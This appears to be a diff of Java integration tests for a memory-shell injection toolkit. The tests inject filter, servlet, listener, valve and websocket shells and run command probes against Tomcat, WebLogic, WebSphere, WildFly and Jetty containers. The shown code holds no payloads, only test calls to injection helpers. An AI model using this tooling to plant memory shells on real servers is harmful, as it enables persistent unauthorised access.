ShellAssertion.webSocketCommandIsOk(shellUrl, payload);
} else {
ShellAssertion.commandIsOk(shellUrl, ((CommandConfig) generateResult.getShellToolConfig()), payload);
}
ShellAssertion.commandIsOk(shellUrl, shellType, uniqueName, payload);
}
}
@@ -1,6 +1,7 @@
package com.reajason.javaweb.integration.memshell.tomcat;
import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.ShellAssertion;
import com.reajason.javaweb.integration.TestCasesProvider;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
@@ -10,6 +11,7 @@ import org.junit.jupiter.api.AfterAll;
import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.Arguments;
import org.junit.jupiter.params.provider.MethodSource;
import org.junit.jupiter.params.provider.ValueSource;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network;
import org.testcontainers.containers.wait.strategy.Wait;
@@ -77,4 +79,12 @@ public class Tomcat8ContainerTest {
void test(String imageName, String shellType, String shellTool, Packers packer) {
shellInjectIsOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V1_8, packer, container, python);
}
@ParameterizedTest
@ValueSource(strings = {ShellType.FILTER, ShellType.SERVLET, ShellType.LISTENER,
ShellType.VALVE, ShellType.PROXY_VALVE, ShellType.WEBSOCKET})
void testProbeInject(String shellType) {
String url = getUrl(container);
ShellAssertion.testProbeInject(url, Server.Tomcat, shellType, Opcodes.V1_8);
}
}
@@ -1,6 +1,7 @@
package com.reajason.javaweb.integration.memshell.tomcat;
import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.ShellAssertion;
import com.reajason.javaweb.integration.TestCasesProvider;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
@@ -10,6 +11,7 @@ import org.junit.jupiter.api.AfterAll;
import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.Arguments;
import org.junit.jupiter.params.provider.MethodSource;
import org.junit.jupiter.params.provider.ValueSource;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network;
import org.testcontainers.containers.wait.strategy.Wait;
@@ -52,6 +54,7 @@ public class Tomcat9ContainerTest {
String server = Server.Tomcat;
List<String> supportedShellTypes = List.of(
ShellType.FILTER,
ShellType.SERVLET,
ShellType.LISTENER,
ShellType.VALVE,
ShellType.PROXY_VALVE,
@@ -75,4 +78,12 @@ public class Tomcat9ContainerTest {
void test(String imageName, String shellType, String shellTool, Packers packer) {
shellInjectIsOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V9, packer, container, python);
}
@ParameterizedTest
@ValueSource(strings = {ShellType.FILTER, ShellType.SERVLET, ShellType.LISTENER,
ShellType.VALVE, ShellType.PROXY_VALVE, ShellType.WEBSOCKET})
void testProbeInject(String shellType) {
String url = getUrl(container);
ShellAssertion.testProbeInject(url, Server.Tomcat, shellType, Opcodes.V9);
}
}
@@ -1,6 +1,7 @@
package com.reajason.javaweb.integration.memshell.weblogic;
import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.ShellAssertion;
import com.reajason.javaweb.integration.TestCasesProvider;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
@@ -10,6 +11,7 @@ import org.junit.jupiter.api.AfterAll;
import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.Arguments;
import org.junit.jupiter.params.provider.MethodSource;
import org.junit.jupiter.params.provider.ValueSource;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network;
import org.testcontainers.containers.wait.strategy.Wait;
@@ -77,4 +79,13 @@ public class WebLogic1036ContainerTest {
log.info("container started, app url is : {}", url);
return url;
}
@ParameterizedTest
@ValueSource(strings = {ShellType.SERVLET,
ShellType.FILTER,
ShellType.LISTENER,})
void testProbeInject(String shellType) {
String url = getUrl(container);
ShellAssertion.testProbeInject(url, Server.WebLogic, shellType, Opcodes.V1_6);
}
}
@@ -1,6 +1,7 @@
package com.reajason.javaweb.integration.memshell.weblogic;
import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.ShellAssertion;
import com.reajason.javaweb.integration.TestCasesProvider;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
@@ -10,6 +11,7 @@ import org.junit.jupiter.api.AfterAll;
import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.Arguments;
import org.junit.jupiter.params.provider.MethodSource;
import org.junit.jupiter.params.provider.ValueSource;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network;
import org.testcontainers.containers.wait.strategy.Wait;
@@ -80,4 +82,13 @@ public class WebLogic12214ContainerTest {
log.info("container started, app url is : {}", url);
return url;
}
@ParameterizedTest
@ValueSource(strings = {ShellType.SERVLET,
ShellType.FILTER,
ShellType.LISTENER,})
void testProbeInject(String shellType) {
String url = getUrl(container);
ShellAssertion.testProbeInject(url, Server.WebLogic, shellType, Opcodes.V1_6);
}
}
@@ -1,6 +1,7 @@
package com.reajason.javaweb.integration.memshell.weblogic;
import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.ShellAssertion;
import com.reajason.javaweb.integration.TestCasesProvider;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
@@ -10,6 +11,7 @@ import org.junit.jupiter.api.AfterAll;
import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.Arguments;
import org.junit.jupiter.params.provider.MethodSource;
import org.junit.jupiter.params.provider.ValueSource;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network;
import org.testcontainers.containers.wait.strategy.Wait;
@@ -80,4 +82,13 @@ public class WebLogic14110ContainerTest {
log.info("container started, app url is : {}", url);
return url;
}
@ParameterizedTest
@ValueSource(strings = {ShellType.SERVLET,
ShellType.FILTER,
ShellType.LISTENER,})
void testProbeInject(String shellType) {
String url = getUrl(container);
ShellAssertion.testProbeInject(url, Server.WebLogic, shellType, Opcodes.V1_6);
}
}
@@ -1,6 +1,7 @@
package com.reajason.javaweb.integration.memshell.websphere;
import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.ShellAssertion;
import com.reajason.javaweb.integration.TestCasesProvider;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
@@ -10,6 +11,7 @@ import org.junit.jupiter.api.AfterAll;
import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.Arguments;
import org.junit.jupiter.params.provider.MethodSource;
import org.junit.jupiter.params.provider.ValueSource;
import org.testcontainers.containers.BindMode;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network;
@@ -83,4 +85,13 @@ public class WebSphere855ContainerTest {
log.info("container started, app url is : {}", url);
return url;
}
@ParameterizedTest
@ValueSource(strings = {ShellType.SERVLET,
ShellType.FILTER,
ShellType.LISTENER,})
void testProbeInject(String shellType) {
String url = getUrl(container);
ShellAssertion.testProbeInject(url, Server.WebSphere, shellType, Opcodes.V1_6);
}
}
@@ -1,6 +1,7 @@
package com.reajason.javaweb.integration.memshell.websphere;
import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.ShellAssertion;
import com.reajason.javaweb.integration.TestCasesProvider;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
@@ -10,6 +11,7 @@ import org.junit.jupiter.api.AfterAll;
import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.Arguments;
import org.junit.jupiter.params.provider.MethodSource;
import org.junit.jupiter.params.provider.ValueSource;
import org.testcontainers.containers.BindMode;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network;
@@ -83,4 +85,12 @@ public class WebSphere905ContainerTest {
log.info("container started, app url is : {}", url);
return url;
}
@ParameterizedTest
@ValueSource(strings = {ShellType.SERVLET,
ShellType.FILTER,
ShellType.LISTENER,})
void testProbeInject(String shellType) {
String url = getUrl(container);
ShellAssertion.testProbeInject(url, Server.WebSphere, shellType, Opcodes.V1_6);
}
}
@@ -1,6 +1,7 @@
package com.reajason.javaweb.integration.memshell.wildfly;
import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.ShellAssertion;
import com.reajason.javaweb.integration.TestCasesProvider;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
@@ -10,6 +11,7 @@ import org.junit.jupiter.api.AfterAll;
import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.Arguments;
import org.junit.jupiter.params.provider.MethodSource;
import org.junit.jupiter.params.provider.ValueSource;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network;
import org.testcontainers.containers.wait.strategy.Wait;
@@ -71,4 +73,13 @@ public class Wildfly18ContainerTest {
void test(String imageName, String shellType, String shellTool, Packers packer) {
shellInjectIsOk(getUrl(container), Server.Undertow, shellType, shellTool, Opcodes.V1_6, packer, container, python);
}
@ParameterizedTest
@ValueSource(strings = { ShellType.SERVLET,
ShellType.FILTER,
ShellType.LISTENER,})
void testProbeInject(String shellType) {
String url = getUrl(container);
ShellAssertion.testProbeInject(url, Server.Undertow, shellType, Opcodes.V1_6);
}
}
@@ -1,6 +1,7 @@
package com.reajason.javaweb.integration.memshell.wildfly;
import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.ShellAssertion;
import com.reajason.javaweb.integration.TestCasesProvider;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
@@ -10,6 +11,7 @@ import org.junit.jupiter.api.AfterAll;
import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.Arguments;
import org.junit.jupiter.params.provider.MethodSource;
import org.junit.jupiter.params.provider.ValueSource;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network;
import org.testcontainers.containers.wait.strategy.Wait;
@@ -71,4 +73,13 @@ public class Wildfly23ContainerTest {
void test(String imageName, String shellType, String shellTool, Packers packer) {
shellInjectIsOk(getUrl(container), Server.Undertow, shellType, shellTool, Opcodes.V1_6, packer, container, python);
}
@ParameterizedTest
@ValueSource(strings = { ShellType.SERVLET,
ShellType.FILTER,
ShellType.LISTENER,})
void testProbeInject(String shellType) {
String url = getUrl(container);
ShellAssertion.testProbeInject(url, Server.Undertow, shellType, Opcodes.V1_6);
}
}
@@ -1,6 +1,7 @@
package com.reajason.javaweb.integration.memshell.wildfly;
import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.ShellAssertion;
import com.reajason.javaweb.integration.TestCasesProvider;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType;
@@ -11,6 +12,7 @@ import org.junit.jupiter.api.AfterAll;
import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.Arguments;
import org.junit.jupiter.params.provider.MethodSource;
import org.junit.jupiter.params.provider.ValueSource;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network;
import org.testcontainers.containers.wait.strategy.Wait;
@@ -75,4 +77,13 @@ public class Wildfly30ContainerTest {
void test(String imageName, String shellType, String shellTool, Packers packer) {
shellInjectIsOk(getUrl(container), Server.Undertow, shellType, shellTool, Opcodes.V17, packer, container, python);
}
@ParameterizedTest
@ValueSource(strings = {ShellType.JAKARTA_SERVLET,
ShellType.JAKARTA_FILTER,
ShellType.JAKARTA_LISTENER,})
void testProbeInject(String shellType) {
String url = getUrl(container);
ShellAssertion.testProbeInject(url, Server.Undertow, shellType, Opcodes.V17);
}
}
@@ -1,6 +1,7 @@
package com.reajason.javaweb.integration.memshell.wildfly;
import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.ShellAssertion;
import com.reajason.javaweb.integration.TestCasesProvider;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType;
@@ -11,6 +12,7 @@ import org.junit.jupiter.api.AfterAll;
import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.Arguments;
import org.junit.jupiter.params.provider.MethodSource;
import org.junit.jupiter.params.provider.ValueSource;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network;
import org.testcontainers.containers.wait.strategy.Wait;
@@ -75,4 +77,13 @@ public class Wildfly36ContainerTest {
void test(String imageName, String shellType, String shellTool, Packers packer) {
shellInjectIsOk(getUrl(container), Server.Undertow, shellType, shellTool, Opcodes.V21, packer, container, python);
}
@ParameterizedTest
@ValueSource(strings = {ShellType.JAKARTA_SERVLET,
ShellType.JAKARTA_FILTER,
ShellType.JAKARTA_LISTENER,})
void testProbeInject(String shellType) {
String url = getUrl(container);
ShellAssertion.testProbeInject(url, Server.Undertow, shellType, Opcodes.V21);
}
}
@@ -1,6 +1,7 @@
package com.reajason.javaweb.integration.memshell.wildfly;
import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.ShellAssertion;
import com.reajason.javaweb.integration.TestCasesProvider;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType;
@@ -11,6 +12,7 @@ import org.junit.jupiter.api.AfterAll;
import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.Arguments;
import org.junit.jupiter.params.provider.MethodSource;
import org.junit.jupiter.params.provider.ValueSource;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network;
import org.testcontainers.containers.wait.strategy.Wait;
@@ -80,4 +82,13 @@ public class Wildfly9ContainerTest {
void test(String imageName, String shellType, String shellTool, Packers packer) {
shellInjectIsOk(getUrl(container), Server.Undertow, shellType, shellTool, Opcodes.V1_6, packer, container, python);
}
@ParameterizedTest
@ValueSource(strings = { ShellType.SERVLET,
ShellType.FILTER,
ShellType.LISTENER,})
void testProbeInject(String shellType) {
String url = getUrl(container);
ShellAssertion.testProbeInject(url, Server.Undertow, shellType, Opcodes.V1_6);
}
}
@@ -33,7 +33,7 @@ public class GlassFish7ContainerTest {
@Container
public static final GenericContainer<?> container = new GenericContainer<>(imageName)
.withCopyToContainer(warJakartaFile, "/usr/local/glassfish7/glassfish/domains/domain1/autodeploy/app.war")
.waitingFor(Wait.forLogMessage(".*startup time.*", 1))
.waitingFor(Wait.forLogMessage(".*deployed.*", 1))
.withExposedPorts(8080);
@AfterAll
@@ -1,10 +1,12 @@
package com.reajason.javaweb.integration.probe.jetty;
import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.ProbeAssertion;
import com.reajason.javaweb.integration.VulTool;
import com.reajason.javaweb.integration.probe.DetectionTool;
import lombok.SneakyThrows;
import lombok.extern.slf4j.Slf4j;
import net.bytebuddy.jar.asm.Opcodes;
import org.junit.jupiter.api.Test;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.wait.strategy.Wait;
@@ -53,4 +55,11 @@ public class Jetty12ee10ContainerTest {
String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection());
assertEquals(Server.Jetty, data);
}
@Test
@SneakyThrows
void testCommandReqHeaderResponseBody() {
String url = getUrl(container);
ProbeAssertion.responseCommandIsOk(url, Server.Jetty, Opcodes.V21);
}
}
@@ -0,0 +1,65 @@
package com.reajason.javaweb.integration.probe.jetty;
import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.ProbeAssertion;
import com.reajason.javaweb.integration.VulTool;
import com.reajason.javaweb.integration.probe.DetectionTool;
import lombok.SneakyThrows;
import lombok.extern.slf4j.Slf4j;
import net.bytebuddy.jar.asm.Opcodes;
import org.junit.jupiter.api.Test;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.wait.strategy.Wait;
import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers;
import java.nio.file.Files;
import java.nio.file.Paths;
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
import static com.reajason.javaweb.integration.ContainerTool.warJakartaFile;
import static org.junit.jupiter.api.Assertions.assertEquals;
/**
* @author ReaJason
* @since 2024/12/7
*/
@Slf4j
@Testcontainers
public class Jetty12ee11ContainerTest {
public static final String imageName = "reajason/jetty:12.1-jre21-ee11";
@Container
public final static GenericContainer<?> container = new GenericContainer<>(imageName)
.withCopyToContainer(warJakartaFile, "/var/lib/jetty/webapps/app.war")
.waitingFor(Wait.forHttp("/app"))
.withExposedPorts(8080);
@Test
void testJDK() {
String url = getUrl(container);
String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection());
assertEquals("JDK|21.0.9|65", data);
}
@Test
@SneakyThrows
void testBasicInfo() {
String url = getUrl(container);
String data = VulTool.post(url + "/b64", DetectionTool.getBasicInfoPrinter());
Files.writeString(Paths.get("src", "test", "resources", "infos", this.getClass().getSimpleName() + "BasicInfo.txt"), data);
}
@Test
void testServerDetection() {
String url = getUrl(container);
String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection());
assertEquals(Server.Jetty, data);
}
@Test
@SneakyThrows
void testCommandReqHeaderResponseBody() {
String url = getUrl(container);
ProbeAssertion.responseCommandIsOk(url, Server.Jetty, Opcodes.V21);
}
}
@@ -1,10 +1,13 @@
package com.reajason.javaweb.integration.probe.jetty;
import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.ProbeAssertion;
import com.reajason.javaweb.integration.VulTool;
import com.reajason.javaweb.integration.probe.DetectionTool;
import lombok.SneakyThrows;
import lombok.extern.slf4j.Slf4j;
import net.bytebuddy.jar.asm.Opcodes;
import org.junit.jupiter.api.AfterAll;
import org.junit.jupiter.api.Test;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.wait.strategy.Wait;
@@ -32,6 +35,11 @@ public class Jetty12ee8ContainerTest {
.waitingFor(Wait.forHttp("/app"))
.withExposedPorts(8080);
@AfterAll
public static void tearDown() {
log.info(container.getLogs());
}
@Test
void testJDK() {
String url = getUrl(container);
@@ -53,4 +61,11 @@ public class Jetty12ee8ContainerTest {
String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection());
assertEquals(Server.Jetty, data);
}
@Test
@SneakyThrows
void testCommandReqHeaderResponseBody() {
String url = getUrl(container);
ProbeAssertion.responseCommandIsOk(url, Server.Jetty, Opcodes.V21);
}
}
@@ -1,10 +1,12 @@
package com.reajason.javaweb.integration.probe.jetty;
import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.ProbeAssertion;
import com.reajason.javaweb.integration.VulTool;
import com.reajason.javaweb.integration.probe.DetectionTool;
import lombok.SneakyThrows;
import lombok.extern.slf4j.Slf4j;
import net.bytebuddy.jar.asm.Opcodes;
import org.junit.jupiter.api.Test;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.wait.strategy.Wait;
@@ -53,4 +55,11 @@ public class Jetty12ee9ContainerTest {
String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection());
assertEquals(Server.Jetty, data);
}
@Test
@SneakyThrows
void testCommandReqHeaderResponseBody() {
String url = getUrl(container);
ProbeAssertion.responseCommandIsOk(url, Server.Jetty, Opcodes.V21);
}
}